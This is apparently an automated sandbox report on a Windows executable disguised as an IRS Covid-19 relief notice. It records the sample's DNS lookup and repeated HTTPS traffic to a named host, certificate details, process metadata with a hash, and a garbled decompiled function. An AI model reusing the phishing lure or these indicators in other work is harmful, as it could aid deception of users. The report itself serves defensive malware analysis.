Jan 25, 2021 21:14:55.395142078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.477859974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.477897882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.477925062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.477950096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.477974892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.477999926 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.478081942 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:55.478621006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.479274988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:55.593157053 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:55.797492027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.802669048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:55.803582907 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:55.805754900 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.050076962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125096083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125160933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125202894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125241041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125277996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125317097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.125324011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.125365973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.127168894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.127928972 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.234796047 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.439529896 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.444255114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.445832014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.445863962 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.690701008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769321918 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769434929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769488096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769530058 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769567013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769601107 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.769606113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.769622087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.769645929 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.771086931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:56.771148920 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:56.877474070 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.082031965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.087627888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.089680910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.089705944 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.334548950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.430983067 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.431045055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.431050062 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.431085110 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.431108952 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.431126118 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.431127071 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.431173086 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.431176901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.431195974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.431224108 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.431248903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.431971073 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.432060003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.546200991 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.750519037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.754671097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:57.755232096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:57.756184101 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.002477884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082036972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082072020 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082098007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082120895 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082143068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082166910 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.082206964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.082228899 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.086082935 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.086225986 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.205524921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.409940958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.414892912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.415446997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.416651011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.660995960 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.738934994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.738962889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.738974094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.738986015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.738998890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.739005089 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.739011049 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.739142895 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.739191055 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.741374016 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:58.742048979 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:58.865859985 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.070168972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.074328899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.074448109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.075372934 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.319581032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404262066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404293060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404309988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404330969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404345036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.404350996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404369116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.404390097 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.404431105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.406339884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.408143997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.687037945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.891359091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.896850109 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:59.896970987 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:59.898545027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.145222902 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223193884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223267078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223331928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223362923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.223387003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223428011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.223442078 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223457098 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.223490000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.223510981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.223546982 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.225533009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.225680113 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.705790997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:15:00.910342932 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.916704893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:15:00.916956902 CET	49745	443	192.168.2.4	162.0.209.179

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2021 21:12:10.024382114 CET	58028	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:10.072478056 CET	53	58028	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:11.098911047 CET	53097	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:11.146888971 CET	53	53097	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:12.063375950 CET	49257	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:12.114118099 CET	53	49257	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:13.107501030 CET	62389	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:13.158426046 CET	53	62389	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:14.189584970 CET	49910	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:14.237626076 CET	53	49910	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:15.161909103 CET	55854	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:15.209882021 CET	53	55854	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:16.141916990 CET	64549	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:16.198623896 CET	53	64549	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:17.105581045 CET	63153	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:17.153500080 CET	53	63153	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:18.105876923 CET	52991	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:18.153696060 CET	53	52991	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:19.030431032 CET	53700	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:19.078537941 CET	53	53700	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:19.965902090 CET	51726	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:20.014018059 CET	53	51726	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:20.888143063 CET	56794	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:20.936084986 CET	53	56794	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:21.827239990 CET	56534	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:21.875247002 CET	53	56534	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:22.802186966 CET	56627	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:22.853049040 CET	53	56627	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:23.793986082 CET	56621	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:23.853473902 CET	53	56621	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:24.748112917 CET	63116	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:24.796101093 CET	53	63116	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:25.718065977 CET	64078	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:25.768959999 CET	53	64078	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:37.072614908 CET	64801	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:37.137470961 CET	53	64801	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:40.884989023 CET	61721	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:40.933522940 CET	53	61721	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:56.844291925 CET	51255	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:56.914582968 CET	53	51255	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:57.455681086 CET	61522	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:57.514635086 CET	53	61522	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:58.124985933 CET	52337	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:58.172801971 CET	53	52337	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:58.316804886 CET	55046	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:58.373580933 CET	53	55046	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:58.848825932 CET	49612	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:58.911843061 CET	53	49612	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:59.508490086 CET	49285	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:59.557116032 CET	50601	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:12:59.567831039 CET	53	49285	8.8.8.8	192.168.2.4
Jan 25, 2021 21:12:59.608613968 CET	53	50601	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:00.114178896 CET	60875	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:00.179054976 CET	53	60875	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:00.746525049 CET	56448	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:00.802772999 CET	53	56448	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:02.268855095 CET	59172	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:02.330444098 CET	53	59172	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:03.524322033 CET	62420	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:03.580666065 CET	53	62420	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:04.710621119 CET	60579	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:04.767862082 CET	53	60579	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:15.000165939 CET	50183	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:15.210535049 CET	61531	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:15.958655119 CET	50183	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:16.004957914 CET	53	50183	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:16.006660938 CET	53	50183	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:16.031486034 CET	53	61531	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:19.540921926 CET	49228	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:19.602782965 CET	53	49228	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:50.004637957 CET	59794	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:50.052529097 CET	53	59794	8.8.8.8	192.168.2.4
Jan 25, 2021 21:13:51.203885078 CET	55916	53	192.168.2.4	8.8.8.8
Jan 25, 2021 21:13:51.260049105 CET	53	55916	8.8.8.8	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 25, 2021 21:13:16.006773949 CET	192.168.2.4	8.8.8.8	d022	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 25, 2021 21:12:37.072614908 CET	192.168.2.4	8.8.8.8	0x9d11	Standard query (0)	chengsolution.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 25, 2021 21:12:37.137470961 CET	8.8.8.8	192.168.2.4	0x9d11	No error (0)	chengsolution.com		162.0.209.179	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 25, 2021 21:12:37.593763113 CET	162.0.209.179	443	192.168.2.4	49745	CN=chengsolution.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sat Jan 09 01:00:00 CET 2021 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019	Tue Jan 04 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
					CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB	CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	Fri Nov 02 01:00:00 CET 2018	Wed Jan 01 00:59:59 CET 2031
					CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Tue Mar 12 01:00:00 CET 2019	Mon Jan 01 00:59:59 CET 2029

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 7120 Parent PID: 6008

General

Start time:	21:12:14
Start date:	25/01/2021
Path:	C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe'
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	5525BB8A978D3AC15812C8D8CA9B8A57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 4168 Parent PID: 7120

General

Start time:	21:12:30
Start date:	25/01/2021
Path:	C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe'
Imagebase:	0x400000
File size:	86016 bytes
MD5 hash:	5525BB8A978D3AC15812C8D8CA9B8A57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 7120 Parent PID: 6008 IRS_Covid-19_Relief_Payment_Notice_pdf.exeCOMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	60.3%
Signature Coverage:	31.2%
Total number of Nodes:	557
Total number of Limit Nodes:	77

Executed Functions

Function 0040422B, Relevance: 11.7, APIs: 1, Strings: 6, Instructions: 1237
memoryCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E0040422B() {
				signed int _t23;
				signed int _t24;
				signed int _t26;
				intOrPtr* _t27;
				signed char _t29;
				signed int _t38;
				intOrPtr* _t47;
				void* _t65;
				signed int _t66;
				void* _t76;
				signed char _t78;
				signed char _t79;
				void* _t80;
				signed int _t87;
				void* _t97;
				signed int _t99;
				signed int _t100;
				signed int _t102;
				intOrPtr* _t104;

				_t23 =  *0x12b5e800;
				 *((intOrPtr*)(_t23 + 0x7600083b)) =  *((intOrPtr*)(_t23 + 0x7600083b)) + _t23;
				_t24 = _t23;
				 *_t24 =  *_t24 & _t24;
				_t26 =  *(_t24 - _t66) * 0x3a9b0a;
				_pop(_t104);
				 *((intOrPtr*)(_t99 - 0x38f67d00)) =  *((intOrPtr*)(_t99 - 0x38f67d00)) - _t97;
				 *((intOrPtr*)(_t66 + 0xc00c709)) =  *((intOrPtr*)(_t66 + 0xc00c709)) + _t26;
				_t100 = _t99 | _t26;
				_t7 = _t102 + _t102 * 2;
				 *_t7 =  *((intOrPtr*)(_t102 + _t102 * 2)) + _t78;
				if( *_t7 >= 0) {
					L5:
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
					 *_t29 =  *_t29 + _t29;
